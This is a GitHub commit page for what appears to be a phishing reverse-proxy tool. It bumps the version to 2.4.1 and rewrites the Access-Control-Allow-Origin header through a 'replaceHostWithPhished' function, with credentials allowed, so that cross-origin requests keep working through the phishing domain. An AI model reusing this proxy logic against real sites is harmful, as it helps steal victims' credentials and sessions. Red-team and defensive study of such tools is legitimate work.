Skip to content

Commit

Permalink
fix: proper hostname substitution in Access-Control-Allow-Origin
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Feb 2, 2021
1 parent e093efa commit 5fc43f4
Show file tree
Hide file tree
Showing 2 changed files with 11 additions and 2 deletions.
2 changes: 1 addition & 1 deletion core/banner.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ import (
)

const (
VERSION = "2.4.0"
VERSION = "2.4.1"
)

func putAsciiArt(s string) {
Expand Down
11 changes: 10 additions & 1 deletion core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -607,7 +607,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da

allow_origin := resp.Header.Get("Access-Control-Allow-Origin")
if allow_origin != "" {
resp.Header.Set("Access-Control-Allow-Origin", "*")
if allow_origin != "*" {
if u, err := url.Parse(allow_origin); err == nil {
if o_host, ok := p.replaceHostWithPhished(u.Host); ok {
resp.Header.Set("Access-Control-Allow-Origin", u.Scheme+"://"+o_host)
}
} else {
log.Warning("can't parse URL from 'Access-Control-Allow-Origin' header: %s", allow_origin)
resp.Header.Set("Access-Control-Allow-Origin", "*")
}
}
resp.Header.Set("Access-Control-Allow-Credentials", "true")
}
var rm_headers = []string{
Expand Down

0 comments on commit 5fc43f4

Please sign in to comment.